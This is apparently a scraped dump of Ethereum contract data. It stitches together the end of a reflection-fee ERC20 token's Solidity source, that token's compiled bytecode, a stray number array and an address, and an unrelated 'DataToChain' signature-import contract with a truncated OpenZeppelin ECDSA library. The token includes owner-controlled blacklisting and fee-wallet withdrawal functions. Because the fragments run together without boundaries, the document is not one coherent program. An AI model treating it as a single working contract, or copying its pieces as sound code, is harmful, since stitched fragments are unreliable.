_reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612421565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124eb565b61042a565b60405161016d9190612546565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612570565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061258b565b610459565b6040516101d59190612546565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906125de565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612627565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061266e565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b50610299600480360381019061029491906125de565b61074f565b6040516102a69190612570565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e891906126aa565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612421565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906124eb565b610959565b6040516103509190612546565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061280d565b610977565b005b34801561038e57600080fd5b50610397610aa1565b005b3480156103a557600080fd5b506103ae610b1b565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612856565b61102d565b6040516103e49190612570565b60405180910390f35b60606040518060400160405280600681526020017f436f736d69630000000000000000000000000000000000000000000000000000815250905090565b600061043e6104376110b4565b84846110bc565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610466848484611287565b610527846104726110b4565b610522856040518060600160405280602881526020016132c060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d86110b4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188c9092919063ffffffff16565b6110bc565b600190509392505050565b61053a6110b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be906128e2565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106336110b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b7906128e2565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e6110b4565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c816118f0565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119eb565b9050919050565b6107a86110b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c906128e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f436f736d69630000000000000000000000000000000000000000000000000000815250905090565b600061096d6109666110b4565b8484611287565b6001905092915050565b61097f6110b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a03906128e2565b60405180910390fd5b60005b8151811015610a9d57600160066000848481518110610a3157610a30612902565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9590612960565b915050610a0f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae26110b4565b73ffffffffffffffffffffffffffffffffffffffff1614610b0257600080fd5b6000610b0d3061074f565b9050610b1881611a59565b50565b610b236110b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba7906128e2565b60405180910390fd5b600f60149054906101000a900460ff1615610c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf7906129f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006110bc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cff9190612a2a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8a9190612a2a565b6040518363ffffffff1660e01b8152600401610da7929190612a57565b6020604051808303816000875af1158015610dc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dea9190612a2a565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e733061074f565b600080610e7e6108f3565b426040518863ffffffff1660e01b8152600401610ea096959493929190612ac5565b60606040518083038185885af1158015610ebe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee39190612b3b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506801158e460913d000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fe6929190612b8e565b6020604051808303816000875af1158015611005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110299190612bcc565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112390612c6b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561119c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119390612cfd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161127a9190612570565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ee90612d8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e90612e21565b60405180910390fd5b600081116113aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a190612eb3565b60405180910390fd5b6001600a819055506004600b819055506113c26108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561143057506114006108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561187c57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114d95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6114e257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561158d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115fb5750600f60179054906101000a900460ff165b156116ab5760105481111561160f57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061165a57600080fd5b601e426116679190612ed3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117565750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117ac5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117c2576001600a819055506004600b819055505b60006117cd3061074f565b9050600f60159054906101000a900460ff1615801561183a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118525750600f60169054906101000a900460ff165b1561187a5761186081611a59565b6000479050600081111561187857611877476118f0565b5b505b505b611887838383611cd2565b505050565b60008383111582906118d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cb9190612421565b60405180910390fd5b50600083856118e39190612f29565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611940600284611ce290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561196b573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119bc600284611ce290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119e7573d6000803e3d6000fd5b5050565b6000600854821115611a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2990612fcf565b60405180910390fd5b6000611a3c611d2c565b9050611a518184611ce290919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a9157611a906126ca565b5b604051908082528060200260200182016040528015611abf5781602001602082028036833780820191505090505b5090503081600081518110611ad757611ad6612902565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba29190612a2a565b81600181518110611bb657611bb5612902565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c1d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110bc565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c819594939291906130ad565b600060405180830381600087803b158015611c9b57600080fd5b505af1158015611caf573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611cdd838383611d57565b505050565b6000611d2483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f22565b905092915050565b6000806000611d39611f85565b91509150611d508183611ce290919063ffffffff16565b9250505090565b600080600080600080611d6987611fe7565b955095509550955095509550611dc786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ea8816120f7565b611eb284836121b4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f0f9190612570565b60405180910390a3505050505050505050565b60008083118290611f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f609190612421565b60405180910390fd5b5060008385611f789190613136565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050611fbb683635c9adc5dea00000600854611ce290919063ffffffff16565b821015611fda57600854683635c9adc5dea00000935093505050611fe3565b81819350935050505b9091565b60008060008060008060008060006120048a600a54600b546121ee565b9250925092506000612014611d2c565b905060008060006120278e878787612284565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061209183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061188c565b905092915050565b60008082846120a89190612ed3565b9050838110156120ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e4906131b3565b60405180910390fd5b8091505092915050565b6000612101611d2c565b90506000612118828461230d90919063ffffffff16565b905061216c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6121c98260085461204f90919063ffffffff16565b6008819055506121e48160095461209990919063ffffffff16565b6009819055505050565b60008060008061221a606461220c888a61230d90919063ffffffff16565b611ce290919063ffffffff16565b905060006122446064612236888b61230d90919063ffffffff16565b611ce290919063ffffffff16565b9050600061226d8261225f858c61204f90919063ffffffff16565b61204f90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061229d858961230d90919063ffffffff16565b905060006122b4868961230d90919063ffffffff16565b905060006122cb878961230d90919063ffffffff16565b905060006122f4826122e6858761204f90919063ffffffff16565b61204f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156123205760009050612382565b6000828461232e91906131d3565b905082848261233d9190613136565b1461237d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123749061329f565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123c25780820151818401526020810190506123a7565b838111156123d1576000848401525b50505050565b6000601f19601f8301169050919050565b60006123f382612388565b6123fd8185612393565b935061240d8185602086016123a4565b612416816123d7565b840191505092915050565b6000602082019050818103600083015261243b81846123e8565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061248282612457565b9050919050565b61249281612477565b811461249d57600080fd5b50565b6000813590506124af81612489565b92915050565b6000819050919050565b6124c8816124b5565b81146124d357600080fd5b50565b6000813590506124e5816124bf565b92915050565b600080604083850312156125025761250161244d565b5b6000612510858286016124a0565b9250506020612521858286016124d6565b9150509250929050565b60008115159050919050565b6125408161252b565b82525050565b600060208201905061255b6000830184612537565b92915050565b61256a816124b5565b82525050565b60006020820190506125856000830184612561565b92915050565b6000806000606084860312156125a4576125a361244d565b5b60006125b2868287016124a0565b93505060206125c3868287016124a0565b92505060406125d4868287016124d6565b9150509250925092565b6000602082840312156125f4576125f361244d565b5b6000612602848285016124a0565b91505092915050565b600060ff82169050919050565b6126218161260b565b82525050565b600060208201905061263c6000830184612618565b92915050565b61264b8161252b565b811461265657600080fd5b50565b60008135905061266881612642565b92915050565b6000602082840312156126845761268361244d565b5b600061269284828501612659565b91505092915050565b6126a481612477565b82525050565b60006020820190506126bf600083018461269b565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612702826123d7565b810181811067ffffffffffffffff82111715612721576127206126ca565b5b80604052505050565b6000612734612443565b905061274082826126f9565b919050565b600067ffffffffffffffff8211156127605761275f6126ca565b5b602082029050602081019050919050565b600080fd5b600061278961278484612745565b61272a565b905080838252602082019050602084028301858111156127ac576127ab612771565b5b835b818110156127d557806127c188826124a0565b8452602084019350506020810190506127ae565b5050509392505050565b600082601f8301126127f4576127f36126c5565b5b8135612804848260208601612776565b91505092915050565b6000602082840312156128235761282261244d565b5b600082013567ffffffffffffffff81111561284157612840612452565b5b61284d848285016127df565b91505092915050565b6000806040838503121561286d5761286c61244d565b5b600061287b858286016124a0565b925050602061288c858286016124a0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128cc602083612393565b91506128d782612896565b602082019050919050565b600060208201905081810360008301526128fb816128bf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061296b826124b5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561299e5761299d612931565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006129df601783612393565b91506129ea826129a9565b602082019050919050565b60006020820190508181036000830152612a0e816129d2565b9050919050565b600081519050612a2481612489565b92915050565b600060208284031215612a4057612a3f61244d565b5b6000612a4e84828501612a15565b91505092915050565b6000604082019050612a6c600083018561269b565b612a79602083018461269b565b9392505050565b6000819050919050565b6000819050919050565b6000612aaf612aaa612aa584612a80565b612a8a565b6124b5565b9050919050565b612abf81612a94565b82525050565b600060c082019050612ada600083018961269b565b612ae76020830188612561565b612af46040830187612ab6565b612b016060830186612ab6565b612b0e608083018561269b565b612b1b60a0830184612561565b979650505050505050565b600081519050612b35816124bf565b92915050565b600080600060608486031215612b5457612b5361244d565b5b6000612b6286828701612b26565b9350506020612b7386828701612b26565b9250506040612b8486828701612b26565b9150509250925092565b6000604082019050612ba3600083018561269b565b612bb06020830184612561565b9392505050565b600081519050612bc681612642565b92915050565b600060208284031215612be257612be161244d565b5b6000612bf084828501612bb7565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612c55602483612393565b9150612c6082612bf9565b604082019050919050565b60006020820190508181036000830152612c8481612c48565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ce7602283612393565b9150612cf282612c8b565b604082019050919050565b60006020820190508181036000830152612d1681612cda565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d79602583612393565b9150612d8482612d1d565b604082019050919050565b60006020820190508181036000830152612da881612d6c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612e0b602383612393565b9150612e1682612daf565b604082019050919050565b60006020820190508181036000830152612e3a81612dfe565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612e9d602983612393565b9150612ea882612e41565b604082019050919050565b60006020820190508181036000830152612ecc81612e90565b9050919050565b6000612ede826124b5565b9150612ee9836124b5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f1e57612f1d612931565b5b828201905092915050565b6000612f34826124b5565b9150612f3f836124b5565b925082821015612f5257612f51612931565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612fb9602a83612393565b9150612fc482612f5d565b604082019050919050565b60006020820190508181036000830152612fe881612fac565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61302481612477565b82525050565b6000613036838361301b565b60208301905092915050565b6000602082019050919050565b600061305a82612fef565b6130648185612ffa565b935061306f8361300b565b8060005b838110156130a0578151613087888261302a565b975061309283613042565b925050600181019050613073565b5085935050505092915050565b600060a0820190506130c26000830188612561565b6130cf6020830187612ab6565b81810360408301526130e1818661304f565b90506130f0606083018561269b565b6130fd6080830184612561565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613141826124b5565b915061314c836124b5565b92508261315c5761315b613107565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061319d601b83612393565b91506131a882613167565b602082019050919050565b600060208201905081810360008301526131cc81613190565b9050919050565b60006131de826124b5565b91506131e9836124b5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561322257613221612931565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613289602183612393565b91506132948261322d565b604082019050919050565b600060208201905081810360008301526132b88161327c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d4def593bcc27cb048aeeb8704a6c557ec9cf86ea4c5af36edd553a691f115564736f6c634300080a0033
[ 13, 5 ]
0xf374f42f32AEd0eb6a423F9A353aFd20d25ECd50
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import { SignatureChecker } from "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol"; import { ECDSA } from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; contract DataToChain { struct UserInfo { uint256 userId; uint256 parentId; uint256 lockeBalance; uint256 assetsBalance; uint256 changeBalance; } address public owner = msg.sender; mapping(address => UserInfo) public userInfos; mapping(uint256 => address) public userIdMapAddress; // Stores a new value in the contract function store(uint256 userId,uint256 parentId,uint256 lockeBalance,uint256 assetsBalance,uint256 changeBalance,bytes memory signature) public { require(userId != 0,"DataToChain: userId cannt be zero"); require(userIdMapAddress[userId] == address(0),"DataToChain:userId Have imported"); require(userInfos[msg.sender].userId == 0,"DataToChain: msg.sender Have imported"); require(lockeBalance+assetsBalance+changeBalance>0,"DataToChain: The upload amount must be greater than 0"); bytes32 message = ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(msg.sender, userId, parentId, lockeBalance, assetsBalance, changeBalance, this))); require(SignatureChecker.isValidSignatureNow(owner, message, signature),"DataToChain: Signature verification failure"); userIdMapAddress[userId] = msg.sender; userInfos[userIdMapAddress[userId]].userId = userId; userInfos[userIdMapAddress[userId]].parentId = parentId; userInfos[userIdMapAddress[userId]].lockeBalance = lockeBalance; userInfos[userIdMapAddress[userId]].assetsBalance = assetsBalance; userInfos[userIdMapAddress[userId]].changeBalance = changeBalance; } // Reads the last stored value function getParentAddress(address userAddress) public view returns (address) { return userIdMapAddress[userInfos[userAddress].parentId]; } // Reads the last stored value function getUpChainAmount(address userAddress) public view returns (uint256) { return userInfos[userAddress].lockeBalance+userInfos[userAddress].assetsBalance+userInfos[userAddress].changeBalance; } // Reads the last stored value function isUp(address userAddress,uint256 userId) public view returns (bool,bool) { bool addressBool = userInfos[userAddress].userId > 0; bool userIdBool = userIdMapAddress[userId] != address(0); return (addressBool,userIdBool); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for 